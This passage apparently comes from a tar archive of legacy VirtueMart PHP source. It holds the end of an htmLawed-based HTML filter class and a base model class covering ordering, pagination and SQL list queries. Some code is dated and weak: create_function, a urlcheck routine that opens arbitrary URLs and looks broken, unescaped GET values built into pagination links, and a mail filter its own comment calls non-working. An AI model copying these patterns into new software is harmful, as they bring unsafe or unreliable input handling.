		}
		if($nfr){
			$a['rel'] = isset($a['rel']) ? $a['rel']. ' nofollow' : 'nofollow';
		}

		// rqd attr
		static $eAR = array('area'=>array('alt'=>'area'), 'bdo'=>array('dir'=>'ltr'), 'form'=>array('action'=>''), 'img'=>array('src'=>'', 'alt'=>'image'), 'map'=>array('name'=>''), 'optgroup'=>array('label'=>''), 'param'=>array('name'=>''), 'script'=>array('type'=>'text/javascript'), 'textarea'=>array('rows'=>'10', 'cols'=>'50'));
		if(isset($eAR[$e])){
			foreach($eAR[$e] as $k=>$v){
				if(!isset($a[$k])){
					$a[$k] = isset($v[0]) ? $v : $k;
				}
			}
		}

		// depr attrs
		if($depTr){
			$c = array();
			foreach($a as $k=>$v){
				if($k == 'style' or !isset($aND[$k][$e])){
					continue;
				}
				if($k == 'align'){
					unset($a['align']);
					if($e == 'img' && ($v == 'left' or $v == 'right')){
						$c[] = 'float: '. $v;
					}
					elseif(($e == 'div' or $e == 'table') && $v == 'center'){
						$c[] = 'margin: auto';
					}
					else{$c[] = 'text-align: '. $v;
					}
				}elseif($k == 'bgcolor'){
					unset($a['bgcolor']);
					$c[] = 'background-color: '. $v;
				}elseif($k == 'border'){
					unset($a['border']); $c[] = "border: {$v}px";
				}elseif($k == 'bordercolor'){
					unset($a['bordercolor']); $c[] = 'border-color: '. $v;
				}elseif($k == 'clear'){
					unset($a['clear']); $c[] = 'clear: '. ($v != 'all' ? $v : 'both');
				}elseif($k == 'compact'){
					unset($a['compact']); $c[] = 'font-size: 85%';
				}elseif($k == 'height' or $k == 'width'){
					unset($a[$k]); $c[] = $k. ': '. ($v[0] != '*' ? $v. (ctype_digit($v) ? 'px' : '') : 'auto');
				}elseif($k == 'hspace'){
					unset($a['hspace']); $c[] = "margin-left: {$v}px; margin-right: {$v}px";
				}elseif($k == 'language' && !isset($a['type'])){
					unset($a['language']);
					$a['type'] = 'text/'. strtolower($v);
				}elseif($k == 'name'){
					if($C['no_deprecated_attr'] == 2 or ($e != 'a' && $e != 'map')){
						unset($a['name']);
					}
					if(!isset($a['id']) && preg_match('`[a-zA-Z][a-zA-Z\d.:_\-]*`', $v)){
						$a['id'] = $v;
					}
				}elseif($k == 'noshade'){
					unset($a['noshade']); $c[] = 'border-style: none; border: 0; background-color: gray; color: gray';
				}elseif($k == 'nowrap'){
					unset($a['nowrap']); $c[] = 'white-space: nowrap';
				}elseif($k == 'size'){
					unset($a['size']); $c[] = 'size: '. $v. 'px';
				}elseif($k == 'start' or $k == 'value'){
					unset($a[$k]);
				}elseif($k == 'type'){
					unset($a['type']);
					static $ol_type = array('i'=>'lower-roman', 'I'=>'upper-roman', 'a'=>'lower-latin', 'A'=>'upper-latin', '1'=>'decimal');
					$c[] = 'list-style-type: '. (isset($ol_type[$v]) ? $ol_type[$v] : 'decimal');
				}elseif($k == 'vspace'){
					unset($a['vspace']); $c[] = "margin-top: {$v}px; margin-bottom: {$v}px";
				}
			}
			if(count($c)){
				$c = implode('; ', $c);
				$a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $c. ';': $c. ';';
			}
		}
		// unique ID
		if($C['unique_ids'] && isset($a['id'])){
			if(!preg_match('`^[A-Za-z][A-Za-z0-9_\-.:]*$`', ($id = $a['id'])) or (!is_null(vmFilter::$hl_Ids[$id]) && $C['unique_ids'] == 1)){
				unset($a['id']);
			}else{
				while(!is_null(vmFilter::$hl_Ids[$id])){
					$id = $C['unique_ids']. $id;
				}
				vmFilter::$hl_Ids[($a['id'] = $id)] = 1;
			}
		}
		// xml:lang
		if($C['xml:lang'] && isset($a['lang'])){
			$a['xml:lang'] = isset($a['xml:lang']) ? $a['xml:lang'] : $a['lang'];
			if($C['xml:lang'] == 2){
				unset($a['lang']);
			}
		}
		// for transformed tag
		if(!empty($trt)){
			$a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $trt : $trt;
		}
		// return with empty ele /
		if(empty($C['hook_tag'])){
			$aA = '';
			foreach($a as $k=>$v){
				$aA .= " {$k}=\"{$v}\"";
			}
			return "<{$e}{$aA}". (isset($eE[$e]) ? ' /' : ''). '>';
		}
		else{return $C['hook_tag']($e, $a);
		}
		// eof
	}

	public static function hl_tag2(&$e, &$a, $t=1){
		// transform tag
		if($e == 'center'){
			$e = 'div'; return 'text-align: center;';
		}
		if($e == 'dir' or $e == 'menu'){
			$e = 'ul'; return '';
		}
		if($e == 's' or $e == 'strike'){
			$e = 'span'; return 'text-decoration: line-through;';
		}
		if($e == 'u'){
			$e = 'span'; return 'text-decoration: underline;';
		}
		static $fs = array('0'=>'xx-small', '1'=>'xx-small', '2'=>'small', '3'=>'medium', '4'=>'large', '5'=>'x-large', '6'=>'xx-large', '7'=>'300%', '-1'=>'smaller', '-2'=>'60%', '+1'=>'larger', '+2'=>'150%', '+3'=>'200%', '+4'=>'300%');
		if($e == 'font'){
			$a2 = '';
			if(preg_match('`face\s*=\s*(\'|")([^=]+?)\\1`i', $a, $m) or preg_match('`face\s*=\s*([^"])(\S+)`i', $a, $m)){
				$a2 .= ' font-family: '. str_replace('"', '\'', trim($m[2])). ';';
			}
			if(preg_match('`color\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m)){
				$a2 .= ' color: '. trim($m[2]). ';';
			}
			if(preg_match('`size\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m) && isset($fs[($m = trim($m[2]))])){
				$a2 .= ' font-size: '. $fs[$m]. ';';
			}
			$e = 'span'; return ltrim($a2);
		}
		if($t == 2){
			$e = 0; return 0;
		}
		return '';
		// eof
	}

	public static function hl_tidy($t, $w, $p){
		// Tidy/compact HTM
		if(strpos(' pre,script,textarea', "$p,")){
			return $t;
		}
		$t = str_replace(' </', '</', preg_replace(array('`(<\w[^>]*(?<!/)>)\s+`', '`\s+`', '`(<\w[^>]*(?<!/)>) `'), array(' $1', ' ', '$1'), preg_replace_callback(array('`(<(!\[CDATA\[))(.+?)(\]\]>)`sm', '`(<(!--))(.+?)(-->)`sm', '`(<(pre|script|textarea)[^>]*?>)(.+?)(</\2>)`sm'), create_function('$m', 'return $m[1]. str_replace(array("<", ">", "\n", "\r", "\t", " "), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), $m[3]). $m[4];'), $t)));
		if(($w = strtolower($w)) == -1){
			return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t);
		}
		$s = strpos(" $w", 't') ? "\t" : ' ';
		$s = preg_match('`\d`', $w, $m) ? str_repeat($s, $m[0]) : str_repeat($s, ($s == "\t" ? 1 : 2));
		$n = preg_match('`[ts]([1-9])`', $w, $m) ? $m[1] : 0;
		$a = array('br'=>1);
		$b = array('button'=>1, 'input'=>1, 'option'=>1);
		$c = array('caption'=>1, 'dd'=>1, 'dt'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'isindex'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'object'=>1, 'p'=>1, 'pre'=>1, 'td'=>1, 'textarea'=>1, 'th'=>1);
		$d = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'colgroup'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'fieldset'=>1, 'form'=>1, 'hr'=>1, 'iframe'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1);
		ob_start();
		if(isset($d[$p])){
			echo str_repeat($s, ++$n);
		}
		$t = explode('<', $t);
		echo ltrim(array_shift($t));
		for($i=-1, $j=count($t); ++$i<$j;){
			$r = ''; list($e, $r) = explode('>', $t[$i]);
			$x = $e[0] == '/' ? 0 : (substr($e, -1) == '/' ? 1 : ($e[0] != '!' ? 2 : -1));
			$y = !$x ? ltrim($e, '/') : ($x > 0 ? substr($e, 0, strcspn($e, ' ')) : 0);
			$e = "<$e>";
			if(isset($d[$y])){
				if(!$x){
					echo "\n", str_repeat($s, --$n), "$e\n", str_repeat($s, $n);
				}
				else{echo "\n", str_repeat($s, $n), "$e\n", str_repeat($s, ($x != 1 ? ++$n : $n));
				}
				echo ltrim($r); continue;
			}
			$f = "\n". str_repeat($s, $n);
			if(isset($c[$y])){
				if(!$x){
					echo $e, $f, ltrim($r);
				}
				else{echo $f, $e, $r;
				}
			}elseif(isset($b[$y])){
				echo $f, $e, $r;
			}elseif(isset($a[$y])){
				echo $e, $f, ltrim($r);
			}elseif(!$y){
				echo $f, $e, $f, ltrim($r);
			}else{echo $e, $r;
			}
		}
		$t = preg_replace('`[\n]\s*?[\n]+`', "\n", ob_get_contents());
		ob_end_clean();
		if(($l = strpos(" $w", 'r') ? (strpos(" $w", 'n') ? "\r\n" : "\r") : 0)){
			$t = str_replace("\n", $l, $t);
		}
		return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t);
		// eof
	}

	public static function hl_version(){
		// rel
		return '1.1.10';
		// eof
	}

	public static function kses($t, $h, $p=array('http', 'https', 'ftp', 'news', 'nntp', 'telnet', 'gopher', 'mailto')){
		// kses compat
		foreach($h as $k=>$v){
			$h[$k]['n']['*'] = 1;
		}
		$C['cdata'] = $C['comment'] = $C['make_tag_strict'] = $C['no_deprecated_attr'] = $C['unique_ids'] = 0;
		$C['keep_bad'] = 1;
		$C['elements'] = count($h) ? strtolower(implode(',', array_keys($h))) : '-*';
		$C['hook'] = 'vmFilter::kses_hook';
		$C['schemes'] = '*:'. implode(',', $p);
		return vmFilter::$hl($t, $C, $h);
		// eof
	}

	public static function kses_hook($t, &$C, &$S){
		// kses compat
		return $t;
		// eof
	}
	public static function loadconfig($c) {

		switch($c){
			case 'safe':
				//Safest, allowing only safe HTML markup --

				$config = array('safe'=>1);

				break;
			case 'allhtml':
				//Simplest, allowing all valid HTML markup except javascript: --
				$config = array();
				break;
			case 'admin':
				// Allowing all valid HTML markup including javascript: --

				$config = array('schemes'=>'*:*');
				break;
			case 'simple':
				//Allowing only safe HTML and the elements a, br, em, and strong --
				$config = array('safe'=>1, 'elements'=>'br, em, h2, h3, h4, h5, h6, p, span, strong');
				break;
			case 'no_js_flash':
				// Not allowing elements script and object --
				$config = array('safe'=>1,'elements'=>'* -script -object');
				break;
			case 'no_id_style':
				// Not allowing attributes id and style --
				$config = array('safe'=>1,'deny_attribute'=>'id, style');
				break;
			case 'only_link':
				// Permitting only attributes title and href --
				$config = array('safe'=>1,'deny_attribute'=>'* -title -href');
				break;
			case 'remove':
				// Remove bad/disallowed tags altogether instead of converting them to entities --
				$config = array('safe'=>1,'keep_bad'=>0);
				// Allowing attribute title only in a and not allowing attributes id, style, or scriptable on* attributes like onclick --
				// $config = array('deny_attribute'=>'title, id, style, on*');
				// $spec = 'a=title';
				// $out = vmFilter($in, $config, $spec);
			case 'text':
			default:
				//only text and br--

				$config = array('elements'=>'strong', 'safe'=>1);

				break;
		}
		return $config;
	}
static function mail($v){

$v = str_replace('mailto:','', $v);
$v = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$v);
return $v;
	//This does not work, I get a blank email
//$regx = "@[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*\@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?@";
 //return preg_replace($regx ,'', $v);
}

function phone($v){
 $regx = "~^[0-9,+,(), ,]{1,}(,[0-9]+){0,}$~";
 return preg_replace($regx ,'', $v);
}
static function urlcheck($v) {

 if (!preg_match("#(http|ftp|https)#",$v)) $v = "http://".$v ;
 $regx = "#(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&amp;:/~\+#]*[\w\-\@?^=%&amp;/~\+#])?#";
 $site = preg_replace($regx ,'', $v);
 if ($file = @fopen($site, 'r')) {
  return $v ;
 } else return '';
}

}��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vmmodel.php�����������������������������������������������������������������������������������������0000666�����������������00000050222�15137212725�0006732 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * abstract model class containing some standards
 *  get,store,delete,publish and pagination
 *
 * @package	VirtueMart
 * @subpackage Helpers
 * @author Max Milbers
 * @copyright Copyright (c) 2011 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See /administrator/components/com_virtuemart/COPYRIGHT.php for copyright notices and details.
 *
 * http://virtuemart.net
 */

defined('_JEXEC') or die();

define('USE_SQL_CALC_FOUND_ROWS' , true);

if(!class_exists('JModel')) require JPATH_VM_LIBRARIES.DS.'joomla'.DS.'application'.DS.'component'.DS.'model.php';

class VmModel extends JModel {

	var $_id 			= 0;
	var $_data			= null;
	var $_query 		= null;

	var $_total			= null;
	var $_pagination 	= 0;
	var $_limit			= 0;
	var $_limitStart	= 0;
	var $_maintable 	= '';	// something like #__virtuemart_calcs
	var $_maintablename = '';
	var $_idName		= '';
	var $_cidName		= 'cid';
	var $_togglesName	= null;
	var $_selectedOrderingDir = 'DESC';

	private $_withCount = true;
	var $_noLimit = false;

	public function __construct($cidName='cid', $config=array()){
		parent::__construct($config);

		$this->_cidName = $cidName;

		// Get the task
		$task = JRequest::getWord('task','');
		if($task!=='add'){
			// Get the id or array of ids.
			$idArray = JRequest::getVar($this->_cidName,  0, '', 'array');
			if(empty($idArray[0])) $idArray[0] = 0;
			$this->setId((int)$idArray[0]);
		}

		$this->setToggleName('published');
	}

	static private $_vmmodels = array();

	/**
	 *
	 * @author Patrick Kohl
	 * @author Max Milbers
	 */
	static function getModel($name=false){

		if (!$name){
			$name = JRequest::getCmd('view','');
// 			vmdebug('Get standard model of the view');
		}
		$name = strtolower($name);
		$className = 'VirtueMartModel'.ucfirst($name);


		if(empty(self::$_vmmodels[strtolower($className)])){
			if( !class_exists($className) ){

				$modelPath = JPATH_VM_ADMINISTRATOR.DS."models".DS.$name.".php";

				if( file_exists($modelPath) ){
					require( $modelPath );
				}
				else{
					JError::raiseWarning( 0, 'Model '. $name .' not found.' );
					echo 'File for Model '. $name .' not found.';
					return false;
				}
			}

			self::$_vmmodels[strtolower($className)] = new $className();
			return self::$_vmmodels[strtolower($className)];
		} else {
			return self::$_vmmodels[strtolower($className)];
		}

	}

	public function setIdName($idName){
		$this->_idName = $idName;
	}

	public function getIdName(){
		return $this->_idName;
	}

	public function getId(){
		return $this->_id;
	}

	/**
	 * Resets the id and data
	 *
	 * @author Max Milbers
	 */
	function setId($id){

		if(is_array($id) && count($id)!==0) $id = $id[0];
		if($this->_id!=$id){
			$this->_id = (int)$id;
			$this->_data = null;
		}
		return $this->_id;
	}


	public function setMainTable($maintablename,$maintable=0){

		$this->_maintablename = $maintablename;
		if(empty($maintable)){
			$this->_maintable = '#__virtuemart_'.$maintablename;
		} else {
			$this->_maintable = $maintable;
		}
		$defaultTable = $this->getTable($this->_maintablename);
		$this->_idName = $defaultTable->getKeyName();

		$this->setDefaultValidOrderingFields($defaultTable);
		$this->_selectedOrdering = $this->_validOrderingFieldName[0];

	}

	function getDefaultOrdering(){
		return $this->_selectedOrdering;
	}


	function addvalidOrderingFieldName($add){
		$this->_validOrderingFieldName = array_merge($this->_validOrderingFieldName,$add);
	}

	function removevalidOrderingFieldName($name){
		$key=array_search($name, $this->_validOrderingFieldName);
		if($key!==false){
			unset($this->_validOrderingFieldName[$key]) ;
		}
	}

	var $_tablePreFix = '';
	/**
	 *
	 * This function sets the valid ordering fields for this model with the default table attributes
	 * @author Max Milbers
	 * @param unknown_type $defaultTable
	 */
	function setDefaultValidOrderingFields($defaultTable=null){

		if($defaultTable===null){
			$defaultTable = $this->getTable($this->_maintablename);
		}

		$this->_tablePreFix = $defaultTable->_tablePreFix;
		$dTableArray = get_object_vars($defaultTable);

		// Iterate over the object variables to build the query fields and values.
		foreach ($dTableArray as $k => $v){

			// Ignore any internal fields.
			$posUnderLine = strpos ($k,'_');

			if (( $posUnderLine!==false && $posUnderLine === 0) ) {
				continue;
			}

// 			$this->_validOrderingFieldName[] = $this->_tablePreFix.$k;
			$this->_validOrderingFieldName[] = $k;

		}

	}


	function _getOrdering($preTable='') {
		if(empty($this->_selectedOrdering)) vmTrace('empty _getOrdering');
		if(empty($this->_selectedOrderingDir)) vmTrace('empty _selectedOrderingDir');
		return ' ORDER BY '.$preTable.$this->_selectedOrdering.' '.$this->_selectedOrderingDir ;
	}


	var $_validOrderingFieldName = array();

	function checkFilterOrder($toCheck){

		if(empty($toCheck)) return $this->_selectedOrdering;

		//vmdebug('checkFilterOrder',$this->_validOrderingFieldName);
		if(!in_array($toCheck, $this->_validOrderingFieldName)){

			$break = false;
			vmSetStartTime();
			foreach($this->_validOrderingFieldName as $name){
				if(!empty($name) and strpos($name,$toCheck)!==FALSE){
					$this->_selectedOrdering = $name;
					$break = true;
					break;
				}
			}
			if(!$break){
				$app = JFactory::getApplication();
				$view = JRequest::getWord('view','virtuemart');
				$app->setUserState( 'com_virtuemart.'.$view.'.filter_order',$this->_selectedOrdering);
			}
			//vmdebug('checkValidOrderingField:'.get_class($this).' programmer choosed invalid ordering '.$toCheck.', use '.$this->_selectedOrdering);
		} else {
			$this->_selectedOrdering = $toCheck;
		}

		return $this->_selectedOrdering;
	}

	var $_validFilterDir = array('ASC','DESC');
	function checkFilterDir($toCheck){

		$filter_order_Dir = strtoupper($toCheck);

		if(empty($filter_order_Dir) or !in_array($filter_order_Dir, $this->_validFilterDir)){
// 			vmdebug('checkFilterDir: programmer choosed invalid ordering direction '.$filter_order_Dir,$this->_validFilterDir);
// 			vmTrace('checkFilterDir');
			$filter_order_Dir = $this->_selectedOrderingDir;
			$view = JRequest::getWord('view','virtuemart');
			$app = JFactory::getApplication();
			$app->setUserState( 'com_virtuemart.'.$view.'.filter_order_Dir',$filter_order_Dir);
		}
// 		vmdebug('checkFilterDir '.$filter_order_Dir);

		$this->_selectedOrderingDir = $filter_order_Dir;
		return $this->_selectedOrderingDir;
	}


	/**
	 * Loads the pagination
	 *
	 * @author Max Milbers
	 */
	public function getPagination($perRow = 5) {

			if(empty($this->_limit) ){
				$this->setPaginationLimits();
			}

			$this->_pagination = new VmPagination($this->_total , $this->_limitStart, $this->_limit , $perRow );

// 		}
// 		vmdebug('$this->pagination $total '.$this->_total,$this->_pagination);vmTrace('getPagination');
		return $this->_pagination;
	}

	public function setPaginationLimits(){

		$app = JFactory::getApplication();
		$view = JRequest::getWord('view',$this->_maintablename);

		$limit = (int)$app->getUserStateFromRequest('com_virtuemart.'.$view.'.limit', 'limit');
		if(empty($limit)){
			if($app->isSite()){
				$limit = VmConfig::get ('llimit_init_FE');
			} else {
				$limit = VmConfig::get ('llimit_init_BE');
			}
			if(empty($limit)){
				$limit = 30;
			}
		}

		$this->setState('limit', $limit);
		$this->setState('com_virtuemart.'.$view.'.limit',$limit);
		$this->_limit = $limit;

		$limitStart = $app->getUserStateFromRequest('com_virtuemart.'.$view.'.limitstart', 'limitstart',  JRequest::getInt('limitstart',0), 'int');

		//There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25
		//This functions assures that the steps of limitstart fit with the limit
		$limitStart = ceil((float)$limitStart/(float)$limit) * $limit;
		$this->setState('limitstart', $limitStart);
		$this->setState('com_virtuemart.'.$view.'.limitstart',$limitStart);
		$this->_limitStart = $limitStart;

		return array($this->_limitStart,$this->_limit);
	}

	/**
	 * Gets the total number of entries
	 *TODO filters and search ar not set
	 * @author Max Milbers
	 * @return int Total number of entries in the database
	 */
	public function getTotal() {

		if (empty($this->_total)) {
			$query = 'SELECT `'.$this->_db->getEscaped($this->_idName).'` FROM `'.$this->_db->getEscaped($this->_maintable).'`';;
			$this->_db->setQuery( $query );
			if(!$this->_db->query()){
				if(empty($this->_maintable)) vmError('Model '.get_class( $this ).' has no maintable set');
				$this->_total = 0;
			} else {
				$this->_total = $this->_db->getNumRows();
			}
			//			$this->_total = $this->_getListCount($query);
		}

		return $this->_total;
	}


	public function setGetCount($withCount){

		$this->_withCount = $withCount;
	}

	/**
	 *
	 * exeSortSearchListQuery
	 *
	 * @author Max Milbers
	 * @author Patrick Kohl
	 * @param boolean $object use single result array = 2, assoc. array = 1 or object list = 0 as return value
	 * @param string $select the fields to select
	 * @param string $joinedTables the string of the joined tables or the table
	 * @param string $whereString for the where condition
	 * @param string $groupBy
	 * @param string $orderBy
	 * @param string $filter_order_Dir
	 */

	public function exeSortSearchListQuery($object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false){

		// 		vmSetStartTime('exe');
		// 		if(USE_SQL_CALC_FOUND_ROWS){

		//and the where conditions
		$joinedTables .="\n".$whereString."\n".$groupBy."\n".$orderBy.' '.$filter_order_Dir ;
		// 			$joinedTables .= $whereString .$groupBy .$orderBy;

		if($nbrReturnProducts){
			$limitStart = 0;
			$limit = $nbrReturnProducts;
			$this->_withCount = false;
		} else if($this->_noLimit){
			$this->_withCount = false;
			$limitStart = 0;
			$limit = 0;
		} else {
			$limits = $this->setPaginationLimits();
			$limitStart = $limits[0];
			$limit = $limits[1];
		}

		if($this->_withCount){
			$q = 'SELECT SQL_CALC_FOUND_ROWS '.$select.$joinedTables;
		} else {
			$q = 'SELECT '.$select.$joinedTables;
		}

		if($this->_noLimit or empty($limit)){
// 			vmdebug('exeSortSearchListQuery '.get_class($this).' no limit');
			$this->_db->setQuery($q);
		} else {
			$this->_db->setQuery($q,$limitStart,$limit);
// 			vmdebug('exeSortSearchListQuery '.get_class($this).' with limit');
		}
 		//vmdebug('exeSortSearchListQuery '.$orderBy .$filter_order_Dir,$q);

		if($object == 2){
			 $this->ids = $this->_db->loadResultArray();
		} else if($object == 1 ){
			 $this->ids = $this->_db->loadAssocList();
		} else {
			 $this->ids = $this->_db->loadObjectList();
		}
		if($err=$this->_db->getErrorMsg()){
			vmError('exeSortSearchListQuery '.$err);
		}
 		//vmdebug('my $limitStart '.$limitStart.'  $limit '.$limit.' q ',$q );

		if($this->_withCount){

			$this->_db->setQuery('SELECT FOUND_ROWS()');
			$count = $this->_db->loadResult();

			if($count == false){
				$count = 0;
			}
			$this->_total = $count;
			if($limitStart>=$count){
				if(empty($limit)){
					$limit = 1.0;
				}
				$limitStart = floor($count/$limit);
				$this->_db->setQuery($q,$limitStart,$limit);
				if($object == 2){
					$this->ids = $this->_db->loadResultArray();
				} else if($object == 1 ){
					$this->ids = $this->_db->loadAssocList();
				} else {
					$this->ids = $this->_db->loadObjectList();
				}
			}
// 			$this->getPagination(true);

		} else {
			$this->_withCount = true;
		}

		//print_r( $this->_db->_sql );
		// 			vmdebug('my $list',$list);
		if(empty($this->ids)){
			$errors = $this->_db->getErrorMsg();
			if( !empty( $errors)){
				vmdebug('exeSortSearchListQuery error in class '.get_class($this).' sql:',$this->_db->getErrorMsg());
			}
			if($object == 2 or $object == 1){
				$this->ids = array();
			}
		}
		// 			vmTime('exeSortSearchListQuery SQL_CALC_FOUND_ROWS','exe');
		return $this->ids;

	}

	/**
	 *
	 * @author Max Milbers
	 *
	 */

	public function getData(){

		if (empty($this->_data)) {
			$this->_data = $this->getTable($this->_maintablename);
			$this->_data->load($this->_id);

			//just an idea
			if(isset($this->_data->virtuemart_vendor_id) && empty($this->_data->virtuemart_vendor_id)){
				if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php');
				$this->_data->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor();
			}
		}

		return $this->_data;
	}


	public function store(&$data){

		$table = $this->getTable($this->_maintablename);

		$table->bindChecknStore($data);

		$errors = $table->getErrors();
		foreach($errors as $error){
			vmError( get_class( $this ).'::store '.$error);
		}

		if(is_object($data)){
			$_idName = $this->_idName;
			return $data->$_idName;
		} else {
			return $data[$this->_idName];
		}

	}

	/**
	 * Delete all record ids selected
	 *
	 * @author Max Milbers
	 * @return boolean True is the delete was successful, false otherwise.
	 */
	public function remove($ids) {

		$table = $this->getTable($this->_maintablename);
		foreach($ids as $id) {
			if (!$table->delete((int)$id)) {
				vmError(get_class( $this ).'::remove '.$id.' '.$table->getError());
				return false;
			}
		}

		return true;
	}

	public function setToggleName($togglesName){
		$this->_togglesName[] = $togglesName ;
	}
	/**
	 * toggle (0/1) a field
	 * or invert by $val for multi IDS;
	 * @author Patrick Kohl
	 * @param string $field the field to toggle
	 * @param string $postName the name of id Post  (Primary Key in table Class constructor)
	 */

	function toggle($field,$val = NULL, $cidname = 0,$tablename = 0  ) {
		$ok = true;

		if (!in_array($field, $this->_togglesName)) {
			return false ;
		}
		if($tablename === 0) $tablename = $this->_maintablename;
		if($cidname === 0) $cidname = $this->_cidName;

		$table = $this->getTable($tablename);
		//if(empty($cidName)) $cidName = $this->_cidName;

		$ids = JRequest::getVar( $cidname, JRequest::getVar('cid',array(0)), 'post', 'array' );

		foreach($ids as $id){
			$table->load( (int)$id );

			if (!$table->toggle($field, $val)) {
				//			if (!$table->store()) {
				vmError(get_class( $this ).'::toggle '.$table->getError() .' '.$id);
				$ok = false;
			}
		}

		return $ok;

	}
	/**
	 * Original From Joomla Method to move a weblink
	 * @ Author Kohl Patrick
	 * @$filter the field to group by
	 * @access	public
	 * @return	boolean	True on success
	 * @since	1.5
	 */
	function move($direction, $filter=null)
	{
		$table = $this->getTable($this->_maintablename);
		if (!$table->load($this->_id)) {
			vmError('VmModel move '.$this->_db->getErrorMsg());
			return false;
		}

		if (!$table->move( $direction, $filter )) {
			vmError('VmModel move '.$this->_db->getErrorMsg());
			return false;
		}

		return true;
	}
	/**
	 * Original From Joomla Method to move a weblink
	 * @ Author Kohl Patrick
	 * @$filter the field to group by
	 * @access	public
	 * @return	boolean	True on success
	 * @since	1.5
	 */
	function saveorder($cid = array(), $order, $filter = null)
	{
		$table = $this->getTable($this->_maintablename);
		$groupings = array();

		// update ordering values
		for( $i=0; $i < count($cid); $i++ )
		{
			$table->load( (int) $cid[$i] );
			// track categories
			if ($filter) $groupings[] = $table->$filter;

			if ($table->ordering != $order[$i])
			{
				$table->ordering = $order[$i];
				if (!$table->store()) {
					vmError('VmModel saveorder '.$this->_db->getErrorMsg());
					return false;
				}
			}
		}

		// execute updateOrder for each parent group
		if ($filter) {
			$groupings = array_unique( $groupings );
			foreach ($groupings as $group){
				$table->reorder(	$filter.' = '.(int) $group);
			}
		}

		return true;
	}


	/**
	 * Since an object like product, category dont need always an image, we can attach them to the object with this function
	 * The parameter takes a single product or arrays of products, look for BE/views/product/view.html.php
	 * for an exampel using it
	 *
	 * @author Max Milbers
	 * @param object $obj some object with a _medias xref table
	 */

	public function addImages($obj,$limit=0){

		$mediaModel = VmModel::getModel('Media');

		$mediaModel->attachImages($obj,$this->_maintablename,'image',$limit);

	}

	public function resetErrors(){

		$this->_errors = array();
	}

}

jimport('joomla.html.pagination');

class VmPagination extends JPagination {

	private $_perRow = 5;

	function __construct($total, $limitstart, $limit, $perRow=5){
		if($perRow!==0){
			$this->_perRow = $perRow;
		}
		parent::__construct($total, $limitstart, $limit);
	}

	/** Creates a dropdown box for selecting how many records to show per page.
	 * Modification of Joomla Core libraries/html/pagination.php getLimitBox function
	 * The function uses as sequence a generic function or a sequence configured in the vmconfig
	 *
	 * use in a view.html.php $vmModel->setPerRow($perRow); to activate it
	 *
	 * @author Joe Motacek (Cleanshooter)
	 * @author Max Milbers
	 * @return  string   The HTML for the limit # input box.
	 * @since   11.1
	 */

	function setSequence($sequence){
		$this->_sequence = $sequence;
	}

	function getLimitBox($sequence=0)
	{
		$app = JFactory::getApplication();

		// Initialize variables
		$limits = array ();
		$selected = $this->_viewall ? 0 : $this->limit;

		// Build the select list
		if ($app->isAdmin()) {

			if(empty($sequence)){
				$sequence = VmConfig::get('pagseq',0);
			}

			if(!empty($sequence)){
				$sequenceArray = explode(',', $sequence);
				if(count($sequenceArray>1)){
					foreach($sequenceArray as $items){
						$limits[$items]=JHtml::_('select.option', $items);
					}
				}
			}

			if(empty($limits)){
				$limits[15] = JHTML::_('select.option', 15);
				$limits[30] = JHTML::_('select.option', 30);
				$limits[50] = JHTML::_('select.option', 50);
				$limits[100] = JHTML::_('select.option', 100);
				$limits[200] = JHTML::_('select.option', 200);
				$limits[400] = JHTML::_('select.option', 400);
			}

			if(!array_key_exists($this->limit,$limits)){
				$limits[$this->limit] = JHTML::_('select.option', $this->limit);
				ksort($limits);
			}
			$namespace = '';
			if (JVM_VERSION!==1) {
				$namespace = 'Joomla.';
			}

			$html = JHTML::_('select.genericlist',  $limits, 'limit', 'class="inputbox" size="1" onchange="'.$namespace.'submitform();"', 'value', 'text', $selected);
		} else {

			$getArray = (JRequest::get( 'get' ));
			$link ='';
			unset ($getArray['limit']);

			// foreach ($getArray as $key => $value ) $link .= '&'.$key.'='.$value;
			foreach ($getArray as $key => $value ){
				if (is_array($value)){
					foreach ($value as $k => $v ){
						$link .= '&'.$key.'['.$k.']'.'='.$v;
					}
				} else {
					$link .= '&'.$key.'='.$value;
				}
			}
			$link[0] = "?";
			$link = 'index.php'.$link ;
			if(empty($sequence)){
				$sequence = VmConfig::get('pagseq_'.$this->_perRow);
			}
